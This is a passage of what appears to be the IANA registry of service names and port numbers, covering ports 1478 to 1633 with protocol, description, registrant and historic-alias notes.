ms-sna-base        1478        tcp    ms-sna-base                  [Gordon_Mangione]                                     [Gordon_Mangione]
ms-sna-base        1478        udp    ms-sna-base                  [Gordon_Mangione]                                     [Gordon_Mangione]
dberegister        1479        tcp    dberegister                  [Brian_Griswold]                                      [Brian_Griswold]
dberegister        1479        udp    dberegister                  [Brian_Griswold]                                      [Brian_Griswold]
pacerforum         1480        tcp    PacerForum                   [Peter_Caswell]                                       [Peter_Caswell]
pacerforum         1480        udp    PacerForum                   [Peter_Caswell]                                       [Peter_Caswell]
airs               1481        tcp    AIRS                         [Bruce_Wilson]                                        [Bruce_Wilson]
airs               1481        udp    AIRS                         [Bruce_Wilson]                                        [Bruce_Wilson]
miteksys-lm        1482        tcp    Miteksys License Manager     [Shane_McRoberts]                                     [Shane_McRoberts]
miteksys-lm        1482        udp    Miteksys License Manager     [Shane_McRoberts]                                     [Shane_McRoberts]
afs                1483        tcp    AFS License Manager          [Michael_R_Pizolato]                                  [Michael_R_Pizolato]
afs                1483        udp    AFS License Manager          [Michael_R_Pizolato]                                  [Michael_R_Pizolato]
confluent          1484        tcp    Confluent License Manager    [James_Greenfiel]                                     [James_Greenfiel]
confluent          1484        udp    Confluent License Manager    [James_Greenfiel]                                     [James_Greenfiel]
lansource          1485        tcp    LANSource                    [Christopher_Wells]                                   [Christopher_Wells]
lansource          1485        udp    LANSource                    [Christopher_Wells]                                   [Christopher_Wells]
                                      nms_topo_serv

nms-topo-serv      1486        tcp    IANA assigned this           [Sylvia_Siu]                                          [Sylvia_Siu]
                                      well-formed service name as
                                      a replacement for
                                      "nms_topo_serv".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nms-topo-serv". This entry is now
nms_topo_serv      1486        tcp    nms_topo_serv                [Sylvia_Siu]                                          [Sylvia_Siu]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      nms_topo_serv

nms-topo-serv      1486        udp    IANA assigned this           [Sylvia_Siu]                                          [Sylvia_Siu]
                                      well-formed service name as
                                      a replacement for
                                      "nms_topo_serv".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nms-topo-serv". This entry is now
nms_topo_serv      1486        udp    nms_topo_serv                [Sylvia_Siu]                                          [Sylvia_Siu]                                                                                                                                             historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
localinfosrvr      1487        tcp    LocalInfoSrvr                [Brian_Matthews_2]                                    [Brian_Matthews_2]
localinfosrvr      1487        udp    LocalInfoSrvr                [Brian_Matthews_2]                                    [Brian_Matthews_2]
docstor            1488        tcp    DocStor                      [Brian_Spears]                                        [Brian_Spears]
docstor            1488        udp    DocStor                      [Brian_Spears]                                        [Brian_Spears]
dmdocbroker        1489        tcp    dmdocbroker                  [Razmik_Abnous]                                       [Razmik_Abnous]
dmdocbroker        1489        udp    dmdocbroker                  [Razmik_Abnous]                                       [Razmik_Abnous]
insitu-conf        1490        tcp    insitu-conf                  [Paul_Blacknell]                                      [Paul_Blacknell]
insitu-conf        1490        udp    insitu-conf                  [Paul_Blacknell]                                      [Paul_Blacknell]
                                                                                                                                                                                                                                                                     Unauthorized
                   1491               Unassigned                                                                                                                                                2009-08-05                                                           Use Known on
                                                                                                                                                                                                                                                                     port 1491
stone-design-1     1492        tcp    stone-design-1               [Andrew_Stone]                                        [Andrew_Stone]
stone-design-1     1492        udp    stone-design-1               [Andrew_Stone]                                        [Andrew_Stone]
                                      netmap_lm

netmap-lm          1493        tcp    IANA assigned this           [Phillip_Magson]                                      [Phillip_Magson]
                                      well-formed service name as
                                      a replacement for
                                      "netmap_lm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "netmap-lm". This entry is now
netmap_lm          1493        tcp    netmap_lm                    [Phillip_Magson]                                      [Phillip_Magson]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      netmap_lm

netmap-lm          1493        udp    IANA assigned this           [Phillip_Magson]                                      [Phillip_Magson]
                                      well-formed service name as
                                      a replacement for
                                      "netmap_lm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "netmap-lm". This entry is now
netmap_lm          1493        udp    netmap_lm                    [Phillip_Magson]                                      [Phillip_Magson]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
ica                1494        tcp    ica                          [John_Richardson]                                     [John_Richardson]
ica                1494        udp    ica                          [John_Richardson]                                     [John_Richardson]
cvc                1495        tcp    cvc                          [Bill_Davidson]                                       [Bill_Davidson]
cvc                1495        udp    cvc                          [Bill_Davidson]                                       [Bill_Davidson]
liberty-lm         1496        tcp    liberty-lm                   [Jim_Rogers]                                          [Jim_Rogers]
liberty-lm         1496        udp    liberty-lm                   [Jim_Rogers]                                          [Jim_Rogers]
rfx-lm             1497        tcp    rfx-lm                       [Bill_Bishop]                                         [Bill_Bishop]
rfx-lm             1497        udp    rfx-lm                       [Bill_Bishop]                                         [Bill_Bishop]
sybase-sqlany      1498        tcp    Sybase SQL Any               [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
sybase-sqlany      1498        udp    Sybase SQL Any               [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
fhc                1499        tcp    Federico Heinz Consultora    [Federico_Heinz]                                      [Federico_Heinz]
fhc                1499        udp    Federico Heinz Consultora    [Federico_Heinz]                                      [Federico_Heinz]
vlsi-lm            1500        tcp    VLSI License Manager         [Shue_Lin_Kuo]                                        [Shue_Lin_Kuo]
vlsi-lm            1500        udp    VLSI License Manager         [Shue_Lin_Kuo]                                        [Shue_Lin_Kuo]
saiscm             1501        tcp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 3
saiscm             1501        udp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 3
shivadiscovery     1502        tcp    Shiva                        [Jonathan_Wenocur]                                    [Jonathan_Wenocur]
shivadiscovery     1502        udp    Shiva                        [Jonathan_Wenocur]                                    [Jonathan_Wenocur]
imtc-mcs           1503        tcp    Databeam                     [Jim_Johnston]                                        [Jim_Johnston]
imtc-mcs           1503        udp    Databeam                     [Jim_Johnston]                                        [Jim_Johnston]
evb-elm            1504        tcp    EVB Software Engineering     [B_G_Mahesh]                                          [B_G_Mahesh]
                                      License Manager
evb-elm            1504        udp    EVB Software Engineering     [B_G_Mahesh]                                          [B_G_Mahesh]
                                      License Manager
funkproxy          1505        tcp    Funk Software, Inc.          [Robert_D_Vincent]                                    [Robert_D_Vincent]
funkproxy          1505        udp    Funk Software, Inc.          [Robert_D_Vincent]                                    [Robert_D_Vincent]
utcd               1506        tcp    Universal Time daemon (utcd) [Walter_Poxon]                                        [Walter_Poxon]
utcd               1506        udp    Universal Time daemon (utcd) [Walter_Poxon]                                        [Walter_Poxon]
symplex            1507        tcp    symplex                      [Mike_Turley]                                         [Mike_Turley]
symplex            1507        udp    symplex                      [Mike_Turley]                                         [Mike_Turley]
diagmond           1508        tcp    diagmond                     [Pete_Moscatelli]                                     [Pete_Moscatelli]
diagmond           1508        udp    diagmond                     [Pete_Moscatelli]                                     [Pete_Moscatelli]
robcad-lm          1509        tcp    Robcad, Ltd. License Manager [Hindin_Joseph]                                       [Hindin_Joseph]
robcad-lm          1509        udp    Robcad, Ltd. License Manager [Hindin_Joseph]                                       [Hindin_Joseph]
mvx-lm             1510        tcp    Midland Valley Exploration   [Neil_Salter]                                         [Neil_Salter]
                                      Ltd. Lic. Man.
mvx-lm             1510        udp    Midland Valley Exploration   [Neil_Salter]                                         [Neil_Salter]
                                      Ltd. Lic. Man.
3l-l1              1511        tcp    3l-l1                        [Ian_A_Young]                                         [Ian_A_Young]
3l-l1              1511        udp    3l-l1                        [Ian_A_Young]                                         [Ian_A_Young]
wins               1512        tcp    Microsoft's Windows Internet [Pradeep_Bahl]                                        [Pradeep_Bahl]
                                      Name Service
wins               1512        udp    Microsoft's Windows Internet [Pradeep_Bahl]                                        [Pradeep_Bahl]
                                      Name Service
fujitsu-dtc        1513        tcp    Fujitsu Systems Business of
                                      America, Inc
fujitsu-dtc        1513        udp    Fujitsu Systems Business of
                                      America, Inc
fujitsu-dtcns      1514        tcp    Fujitsu Systems Business of  [Charles_A_Higgins]                                   [Charles_A_Higgins]
                                      America, Inc
fujitsu-dtcns      1514        udp    Fujitsu Systems Business of  [Charles_A_Higgins]                                   [Charles_A_Higgins]
                                      America, Inc
ifor-protocol      1515        tcp    ifor-protocol                [Dr_R_P_Alston]                                       [Dr_R_P_Alston]
ifor-protocol      1515        udp    ifor-protocol                [Dr_R_P_Alston]                                       [Dr_R_P_Alston]
vpad               1516        tcp    Virtual Places Audio data
vpad               1516        udp    Virtual Places Audio data
vpac               1517        tcp    Virtual Places Audio control
vpac               1517        udp    Virtual Places Audio control
vpvd               1518        tcp    Virtual Places Video data
vpvd               1518        udp    Virtual Places Video data
vpvc               1519        tcp    Virtual Places Video control [Avshalom_Houri]                                      [Avshalom_Houri]
vpvc               1519        udp    Virtual Places Video control [Avshalom_Houri]                                      [Avshalom_Houri]
atm-zip-office     1520        tcp    atm zip office               [Wilson_Kwan]                                         [Wilson_Kwan]
atm-zip-office     1520        udp    atm zip office               [Wilson_Kwan]                                         [Wilson_Kwan]
ncube-lm           1521        tcp    nCube License Manager        [Maxine_Yuen]                                         [Maxine_Yuen]
ncube-lm           1521        udp    nCube License Manager        [Maxine_Yuen]                                         [Maxine_Yuen]
ricardo-lm         1522        tcp    Ricardo North America        [Mike_Flemming]                                       [Mike_Flemming]
                                      License Manager
ricardo-lm         1522        udp    Ricardo North America        [Mike_Flemming]                                       [Mike_Flemming]
                                      License Manager
cichild-lm         1523        tcp    cichild                      [Andy_Burgess]                                        [Andy_Burgess]
cichild-lm         1523        udp    cichild                      [Andy_Burgess]                                        [Andy_Burgess]
ingreslock         1524        tcp    ingres
ingreslock         1524        udp    ingres
orasrv             1525        tcp    oracle
orasrv             1525        udp    oracle
prospero-np        1525        tcp    Prospero Directory Service
                                      non-priv
prospero-np        1525        udp    Prospero Directory Service
                                      non-priv
pdap-np            1526        tcp    Prospero Data Access Prot    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      non-priv
pdap-np            1526        udp    Prospero Data Access Prot    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
                                      non-priv
tlisrv             1527        tcp    oracle
tlisrv             1527        udp    oracle
                   1528        tcp    Reserved
ngr-t              1528        udp    NGR transport protocol for   [nyantec]                                             [Mikael_Voss]                                             2016-09-13
                                      mobile ad-hoc networks
coauthor           1529        tcp    oracle
coauthor           1529        udp    oracle
rap-service        1530        tcp    rap-service
rap-service        1530        udp    rap-service
rap-listen         1531        tcp    rap-listen                   [Phil_Servita]                                        [Phil_Servita]
rap-listen         1531        udp    rap-listen                   [Phil_Servita]                                        [Phil_Servita]
miroconnect        1532        tcp    miroconnect                  [Michael_Fischer_2]                                   [Michael_Fischer_2]
miroconnect        1532        udp    miroconnect                  [Michael_Fischer_2]                                   [Michael_Fischer_2]
virtual-places     1533        tcp    Virtual Places Software      [Avshalom_Houri]                                      [Avshalom_Houri]
virtual-places     1533        udp    Virtual Places Software      [Avshalom_Houri]                                      [Avshalom_Houri]
micromuse-lm       1534        tcp    micromuse-lm                 [Adam_Kerrison]                                       [Adam_Kerrison]
micromuse-lm       1534        udp    micromuse-lm                 [Adam_Kerrison]                                       [Adam_Kerrison]
ampr-info          1535        tcp    ampr-info
ampr-info          1535        udp    ampr-info
ampr-inter         1536        tcp    ampr-inter                   [Rob_Janssen]                                         [Rob_Janssen]
ampr-inter         1536        udp    ampr-inter                   [Rob_Janssen]                                         [Rob_Janssen]
sdsc-lm            1537        tcp    isi-lm                       [Len_Wanger]                                          [Len_Wanger]
sdsc-lm            1537        udp    isi-lm                       [Len_Wanger]                                          [Len_Wanger]
3ds-lm             1538        tcp    3ds-lm                       [Keith_Trummel]                                       [Keith_Trummel]
3ds-lm             1538        udp    3ds-lm                       [Keith_Trummel]                                       [Keith_Trummel]
intellistor-lm     1539        tcp    Intellistor License Manager  [Ron_Vaughn]                                          [Ron_Vaughn]
intellistor-lm     1539        udp    Intellistor License Manager  [Ron_Vaughn]                                          [Ron_Vaughn]
rds                1540        tcp    rds
rds                1540        udp    rds
rds2               1541        tcp    rds2                         [Sudhakar_Rajamannar]                                 [Sudhakar_Rajamannar]
rds2               1541        udp    rds2                         [Sudhakar_Rajamannar]                                 [Sudhakar_Rajamannar]
gridgen-elmd       1542        tcp    gridgen-elmd                 [John_R_Chawner]                                      [John_R_Chawner]
gridgen-elmd       1542        udp    gridgen-elmd                 [John_R_Chawner]                                      [John_R_Chawner]
simba-cs           1543        tcp    simba-cs                     [Betsy_Alexander]                                     [Betsy_Alexander]
simba-cs           1543        udp    simba-cs                     [Betsy_Alexander]                                     [Betsy_Alexander]
aspeclmd           1544        tcp    aspeclmd                     [V_Balaji]                                            [V_Balaji]
aspeclmd           1544        udp    aspeclmd                     [V_Balaji]                                            [V_Balaji]
vistium-share      1545        tcp    vistium-share                [Allison_Carleton]                                    [Allison_Carleton]
vistium-share      1545        udp    vistium-share                [Allison_Carleton]                                    [Allison_Carleton]
abbaccuray         1546        tcp    abbaccuray                   [John_Wendt]                                          [John_Wendt]
abbaccuray         1546        udp    abbaccuray                   [John_Wendt]                                          [John_Wendt]
laplink            1547        tcp    laplink                      [Michael_Crawford]                                    [Michael_Crawford]
laplink            1547        udp    laplink                      [Michael_Crawford]                                    [Michael_Crawford]
axon-lm            1548        tcp    Axon License Manager         [Mark_Pearce]                                         [Mark_Pearce]
axon-lm            1548        udp    Axon License Manager         [Mark_Pearce]                                         [Mark_Pearce]
shivahose          1549        tcp    Shiva Hose
shivasound         1549        udp    Shiva Sound                  [Kin_Chan]                                            [Kin_Chan]
3m-image-lm        1550        tcp    Image Storage license        [J_C_Canessa]                                         [J_C_Canessa]
                                      manager 3M Company
3m-image-lm        1550        udp    Image Storage license        [J_C_Canessa]                                         [J_C_Canessa]
                                      manager 3M Company
hecmtl-db          1551        tcp    HECMTL-DB                    [Maxime_Belanger]                                     [Maxime_Belanger]
hecmtl-db          1551        udp    HECMTL-DB                    [Maxime_Belanger]                                     [Maxime_Belanger]
pciarray           1552        tcp    pciarray                     [Ron_Folk]                                            [Ron_Folk]
pciarray           1552        udp    pciarray                     [Ron_Folk]                                            [Ron_Folk]
sna-cs             1553        tcp    sna-cs                       [Tony_Sowter]                                         [Tony_Sowter]
sna-cs             1553        udp    sna-cs                       [Tony_Sowter]                                         [Tony_Sowter]
caci-lm            1554        tcp    CACI Products Company        [Erik_Blume]                                          [Erik_Blume]
                                      License Manager
caci-lm            1554        udp    CACI Products Company        [Erik_Blume]                                          [Erik_Blume]
                                      License Manager
livelan            1555        tcp    livelan                      [Kaynam_Hedayat]                                      [Kaynam_Hedayat]
livelan            1555        udp    livelan                      [Kaynam_Hedayat]                                      [Kaynam_Hedayat]
                                      VERITAS Private Branch
                                      Exchange

veritas-pbx        1556        tcp    IANA assigned this           [Stefan_Winkel]                                       [Stefan_Winkel]                                           2004-04
                                      well-formed service name as
                                      a replacement for
                                      "veritas_pbx".
                                      VERITAS Private Branch                                                                                                                                                                                                                      This entry is an alias to "veritas-pbx". This entry is now
veritas_pbx        1556        tcp    Exchange                     [Stefan_Winkel]                                       [Stefan_Winkel]                                           2004-04                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      VERITAS Private Branch
                                      Exchange

veritas-pbx        1556        udp    IANA assigned this           [Stefan_Winkel]                                       [Stefan_Winkel]                                           2004-04
                                      well-formed service name as
                                      a replacement for
                                      "veritas_pbx".
                                      VERITAS Private Branch                                                                                                                                                                                                                      This entry is an alias to "veritas-pbx". This entry is now
veritas_pbx        1556        udp    Exchange                     [Stefan_Winkel]                                       [Stefan_Winkel]                                           2004-04                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
arbortext-lm       1557        tcp    ArborText License Manager    [David_J_Wilson]                                      [David_J_Wilson]
arbortext-lm       1557        udp    ArborText License Manager    [David_J_Wilson]                                      [David_J_Wilson]
xingmpeg           1558        tcp    xingmpeg                     [Howard_Gordon]                                       [Howard_Gordon]
xingmpeg           1558        udp    xingmpeg                     [Howard_Gordon]                                       [Howard_Gordon]
web2host           1559        tcp    web2host                     [Stephen_Johnson]                                     [Stephen_Johnson]
web2host           1559        udp    web2host                     [Stephen_Johnson]                                     [Stephen_Johnson]
asci-val           1560        tcp    ASCI-RemoteSHADOW            [Benjamin_Rosenberg]                                  [Benjamin_Rosenberg]
asci-val           1560        udp    ASCI-RemoteSHADOW            [Benjamin_Rosenberg]                                  [Benjamin_Rosenberg]
facilityview       1561        tcp    facilityview                 [Ed_Green]                                            [Ed_Green]
facilityview       1561        udp    facilityview                 [Ed_Green]                                            [Ed_Green]
pconnectmgr        1562        tcp    pconnectmgr                  [Bob_Kaiser]                                          [Bob_Kaiser]
pconnectmgr        1562        udp    pconnectmgr                  [Bob_Kaiser]                                          [Bob_Kaiser]
cadabra-lm         1563        tcp    Cadabra License Manager      [Arthur_Castonguay]                                   [Arthur_Castonguay]
cadabra-lm         1563        udp    Cadabra License Manager      [Arthur_Castonguay]                                   [Arthur_Castonguay]
pay-per-view       1564        tcp    Pay-Per-View                 [Brian_Tung]                                          [Brian_Tung]
pay-per-view       1564        udp    Pay-Per-View                 [Brian_Tung]                                          [Brian_Tung]
winddlb            1565        tcp    WinDD                        [Kelly_Sims]                                          [Kelly_Sims]
winddlb            1565        udp    WinDD                        [Kelly_Sims]                                          [Kelly_Sims]
corelvideo         1566        tcp    CORELVIDEO                   [Ming_Poon]                                           [Ming_Poon]
corelvideo         1566        udp    CORELVIDEO                   [Ming_Poon]                                           [Ming_Poon]
jlicelmd           1567        tcp    jlicelmd                     [Christian_Schormann]                                 [Christian_Schormann]
jlicelmd           1567        udp    jlicelmd                     [Christian_Schormann]                                 [Christian_Schormann]
tsspmap            1568        tcp    tsspmap                      [Paul_W_Nelson]                                       [Paul_W_Nelson]
tsspmap            1568        udp    tsspmap                      [Paul_W_Nelson]                                       [Paul_W_Nelson]
ets                1569        tcp    ets                          [Carstein_Seeberg]                                    [Carstein_Seeberg]
ets                1569        udp    ets                          [Carstein_Seeberg]                                    [Carstein_Seeberg]
orbixd             1570        tcp    orbixd                       [Bridget_Walsh]                                       [Bridget_Walsh]
orbixd             1570        udp    orbixd                       [Bridget_Walsh]                                       [Bridget_Walsh]
rdb-dbs-disp       1571        tcp    Oracle Remote Data Base      [mackin]                                              [mackin]
rdb-dbs-disp       1571        udp    Oracle Remote Data Base      [mackin]                                              [mackin]
chip-lm            1572        tcp    Chipcom License Manager
chip-lm            1572        udp    Chipcom License Manager
itscomm-ns         1573        tcp    itscomm-ns                   [Rich_Thompson]                                       [Rich_Thompson]
itscomm-ns         1573        udp    itscomm-ns                   [Rich_Thompson]                                       [Rich_Thompson]
mvel-lm            1574        tcp    mvel-lm                      [David_Bisset]                                        [David_Bisset]
mvel-lm            1574        udp    mvel-lm                      [David_Bisset]                                        [David_Bisset]
oraclenames        1575        tcp    oraclenames                  [P_V_Shivkumar]                                       [P_V_Shivkumar]
oraclenames        1575        udp    oraclenames                  [P_V_Shivkumar]                                       [P_V_Shivkumar]
moldflow-lm        1576        tcp    Moldflow License Manager     [Lech_Laskowski]                                      [Lech_Laskowski]
moldflow-lm        1576        udp    Moldflow License Manager     [Lech_Laskowski]                                      [Lech_Laskowski]
hypercube-lm       1577        tcp    hypercube-lm                 [Christopher_McLendon]                                [Christopher_McLendon]
hypercube-lm       1577        udp    hypercube-lm                 [Christopher_McLendon]                                [Christopher_McLendon]
jacobus-lm         1578        tcp    Jacobus License Manager      [Tony_Cleveland]                                      [Tony_Cleveland]
jacobus-lm         1578        udp    Jacobus License Manager      [Tony_Cleveland]                                      [Tony_Cleveland]
ioc-sea-lm         1579        tcp    ioc-sea-lm                   [Paul_Nelson]                                         [Paul_Nelson]
ioc-sea-lm         1579        udp    ioc-sea-lm                   [Paul_Nelson]                                         [Paul_Nelson]
tn-tl-r1           1580        tcp    tn-tl-r1
tn-tl-r2           1580        udp    tn-tl-r2                     [Ed_Kress]                                            [Ed_Kress]
mil-2045-47001     1581        tcp    MIL-2045-47001               [Eric_Whitehill]                                      [Eric_Whitehill]
mil-2045-47001     1581        udp    MIL-2045-47001               [Eric_Whitehill]                                      [Eric_Whitehill]
msims              1582        tcp    MSIMS                        [Glenn_Olander]                                       [Glenn_Olander]
msims              1582        udp    MSIMS                        [Glenn_Olander]                                       [Glenn_Olander]
simbaexpress       1583        tcp    simbaexpress                 [Betsy_Alexander]                                     [Betsy_Alexander]
simbaexpress       1583        udp    simbaexpress                 [Betsy_Alexander]                                     [Betsy_Alexander]
tn-tl-fd2          1584        tcp    tn-tl-fd2                    [Ed_Kress]                                            [Ed_Kress]
tn-tl-fd2          1584        udp    tn-tl-fd2                    [Ed_Kress]                                            [Ed_Kress]
intv               1585        tcp    intv                         [Dermot_Tynand]                                       [Dermot_Tynand]
intv               1585        udp    intv                         [Dermot_Tynand]                                       [Dermot_Tynand]
ibm-abtact         1586        tcp    ibm-abtact                   [Sandeep_K_Singhal]                                   [Sandeep_K_Singhal]
ibm-abtact         1586        udp    ibm-abtact                   [Sandeep_K_Singhal]                                   [Sandeep_K_Singhal]
                                      pra_elmd

pra-elmd           1587        tcp    IANA assigned this           [Dennis_Mastin]                                       [Dennis_Mastin]
                                      well-formed service name as
                                      a replacement for
                                      "pra_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "pra-elmd". This entry is now
pra_elmd           1587        tcp    pra_elmd                     [Dennis_Mastin]                                       [Dennis_Mastin]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      pra_elmd

pra-elmd           1587        udp    IANA assigned this           [Dennis_Mastin]                                       [Dennis_Mastin]
                                      well-formed service name as
                                      a replacement for
                                      "pra_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "pra-elmd". This entry is now
pra_elmd           1587        udp    pra_elmd                     [Dennis_Mastin]                                       [Dennis_Mastin]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
triquest-lm        1588        tcp    triquest-lm                  [Nand_Kumar]                                          [Nand_Kumar]
triquest-lm        1588        udp    triquest-lm                  [Nand_Kumar]                                          [Nand_Kumar]
vqp                1589        tcp    VQP                          [Keith_McCloghrie]                                    [Keith_McCloghrie]
vqp                1589        udp    VQP                          [Keith_McCloghrie]                                    [Keith_McCloghrie]
gemini-lm          1590        tcp    gemini-lm                    [Tony_Sawyer]                                         [Tony_Sawyer]
gemini-lm          1590        udp    gemini-lm                    [Tony_Sawyer]                                         [Tony_Sawyer]
ncpm-pm            1591        tcp    ncpm-pm                      [Ted_Power]                                           [Ted_Power]
ncpm-pm            1591        udp    ncpm-pm                      [Ted_Power]                                           [Ted_Power]
commonspace        1592        tcp    commonspace                  [Rob_Chandhok_2]                                      [Rob_Chandhok_2]
commonspace        1592        udp    commonspace                  [Rob_Chandhok_2]                                      [Rob_Chandhok_2]
mainsoft-lm        1593        tcp    mainsoft-lm                  [Anand_Gangadharan]                                   [Anand_Gangadharan]
mainsoft-lm        1593        udp    mainsoft-lm                  [Anand_Gangadharan]                                   [Anand_Gangadharan]
sixtrak            1594        tcp    sixtrak                      [Red_Lion_Controls]                                   [Denis_Aull]                                                           2014-09-22
sixtrak            1594        udp    sixtrak                      [Red_Lion_Controls]                                   [Denis_Aull]                                                           2014-09-22
radio              1595        tcp    radio
radio              1595        udp    radio
radio-sm           1596        tcp    radio-sm
radio-bc           1596        udp    radio-bc                     [Ken_Chapman]                                         [Ken_Chapman]
orbplus-iiop       1597        tcp    orbplus-iiop                 [Robert_A_Kukura]                                     [Robert_A_Kukura]
orbplus-iiop       1597        udp    orbplus-iiop                 [Robert_A_Kukura]                                     [Robert_A_Kukura]
picknfs            1598        tcp    picknfs                      [John_Lombardo]                                       [John_Lombardo]
picknfs            1598        udp    picknfs                      [John_Lombardo]                                       [John_Lombardo]
simbaservices      1599        tcp    simbaservices                [Betsy_Alexander]                                     [Betsy_Alexander]
simbaservices      1599        udp    simbaservices                [Betsy_Alexander]                                     [Betsy_Alexander]
issd               1600        tcp    issd
issd               1600        udp    issd
aas                1601        tcp    aas                          [Bob_Beard]                                           [Bob_Beard]
aas                1601        udp    aas                          [Bob_Beard]                                           [Bob_Beard]
inspect            1602        tcp    inspect                      [Frank_O_Neill]                                       [Frank_O_Neill]
inspect            1602        udp    inspect                      [Frank_O_Neill]                                       [Frank_O_Neill]
picodbc            1603        tcp    pickodbc                     [John_Lombardo]                                       [John_Lombardo]
picodbc            1603        udp    pickodbc                     [John_Lombardo]                                       [John_Lombardo]
icabrowser         1604        tcp    icabrowser                   [Brad_Pedersen]                                       [Brad_Pedersen]
icabrowser         1604        udp    icabrowser                   [Brad_Pedersen]                                       [Brad_Pedersen]
slp                1605        tcp    Salutation Manager
                                      (Salutation Protocol)
slp                1605        udp    Salutation Manager
                                      (Salutation Protocol)
slm-api            1606        tcp    Salutation Manager (SLM-API) [Tohru_Mori]                                          [Tohru_Mori]
slm-api            1606        udp    Salutation Manager (SLM-API) [Tohru_Mori]                                          [Tohru_Mori]
stt                1607        tcp    stt                          [Ryan_Bolz]                                           [Ryan_Bolz]
stt                1607        udp    stt                          [Ryan_Bolz]                                           [Ryan_Bolz]
smart-lm           1608        tcp    Smart Corp. License Manager  [Connie_Qiu]                                          [Connie_Qiu]
smart-lm           1608        udp    Smart Corp. License Manager  [Connie_Qiu]                                          [Connie_Qiu]
isysg-lm           1609        tcp    isysg-lm                     [Adam_Curtin]                                         [Adam_Curtin]
isysg-lm           1609        udp    isysg-lm                     [Adam_Curtin]                                         [Adam_Curtin]
taurus-wh          1610        tcp    taurus-wh                    [Jeff_Moffatt]                                        [Jeff_Moffatt]
taurus-wh          1610        udp    taurus-wh                    [Jeff_Moffatt]                                        [Jeff_Moffatt]
ill                1611        tcp    Inter Library Loan           [Niall_Murphy]                                        [Niall_Murphy]
ill                1611        udp    Inter Library Loan           [Niall_Murphy]                                        [Niall_Murphy]
netbill-trans      1612        tcp    NetBill Transaction Server
netbill-trans      1612        udp    NetBill Transaction Server
netbill-keyrep     1613        tcp    NetBill Key Repository
netbill-keyrep     1613        udp    NetBill Key Repository
netbill-cred       1614        tcp    NetBill Credential Server
netbill-cred       1614        udp    NetBill Credential Server
netbill-auth       1615        tcp    NetBill Authorization Server
netbill-auth       1615        udp    NetBill Authorization Server
netbill-prod       1616        tcp    NetBill Product Server       [Marvin_Sirbu]                                        [Marvin_Sirbu]
netbill-prod       1616        udp    NetBill Product Server       [Marvin_Sirbu]                                        [Marvin_Sirbu]
nimrod-agent       1617        tcp    Nimrod Inter-Agent           [Charles_Lynn]                                        [Charles_Lynn]
                                      Communication
nimrod-agent       1617        udp    Nimrod Inter-Agent           [Charles_Lynn]                                        [Charles_Lynn]
                                      Communication
skytelnet          1618        tcp    skytelnet                    [Byron_Jones]                                         [Byron_Jones]
skytelnet          1618        udp    skytelnet                    [Byron_Jones]                                         [Byron_Jones]
xs-openstorage     1619        tcp    xs-openstorage               [XuiS_Software_Ltd]                                   [XuiS_Software_Ltd]
xs-openstorage     1619        udp    xs-openstorage               [XuiS_Software_Ltd]                                   [XuiS_Software_Ltd]
faxportwinport     1620        tcp    faxportwinport               [Chris_Wells]                                         [Chris_Wells]
faxportwinport     1620        udp    faxportwinport               [Chris_Wells]                                         [Chris_Wells]
softdataphone      1621        tcp    softdataphone                [Dror_Gill]                                           [Dror_Gill]
softdataphone      1621        udp    softdataphone                [Dror_Gill]                                           [Dror_Gill]
ontime             1622        tcp    ontime                       [Keith_Rhodes]                                        [Keith_Rhodes]
ontime             1622        udp    ontime                       [Keith_Rhodes]                                        [Keith_Rhodes]
jaleosnd           1623        tcp    jaleosnd                     [Christian_Schormann]                                 [Christian_Schormann]
jaleosnd           1623        udp    jaleosnd                     [Christian_Schormann]                                 [Christian_Schormann]
udp-sr-port        1624        tcp    udp-sr-port                  [Herb_Jensen]                                         [Herb_Jensen]
udp-sr-port        1624        udp    udp-sr-port                  [Herb_Jensen]                                         [Herb_Jensen]
svs-omagent        1625        tcp    svs-omagent                  [Alberto_Berlen]                                      [Alberto_Berlen]
svs-omagent        1625        udp    svs-omagent                  [Alberto_Berlen]                                      [Alberto_Berlen]
shockwave          1626        tcp    Shockwave                    [Sarah_Allen]                                         [Sarah_Allen]
shockwave          1626        udp    Shockwave                    [Sarah_Allen]                                         [Sarah_Allen]
t128-gateway       1627        tcp    T.128 Gateway                [Phil_May]                                            [Phil_May]
t128-gateway       1627        udp    T.128 Gateway                [Phil_May]                                            [Phil_May]
lontalk-norm       1628        tcp    LonTalk normal
lontalk-norm       1628        udp    LonTalk normal
lontalk-urgnt      1629        tcp    LonTalk urgent               [Bob_Dolin]                                           [Bob_Dolin]                                               2008-04-10
lontalk-urgnt      1629        udp    LonTalk urgent               [Bob_Dolin]                                           [Bob_Dolin]                                               2008-04-10
oraclenet8cman     1630        tcp    Oracle Net8 Cman             [Tong_Ming_Lee]                                       [Tong_Ming_Lee]
oraclenet8cman     1630        udp    Oracle Net8 Cman             [Tong_Ming_Lee]                                       [Tong_Ming_Lee]
visitview          1631        tcp    Visit view                   [Tom_Whittaker]                                       [Tom_Whittaker]
visitview          1631        udp    Visit view                   [Tom_Whittaker]                                       [Tom_Whittaker]
pammratc           1632        tcp    PAMMRATC
pammratc           1632        udp    PAMMRATC
pammrpc            1633        tcp    PAMMRPC                      [John_Britton]                                        [John_Britton]
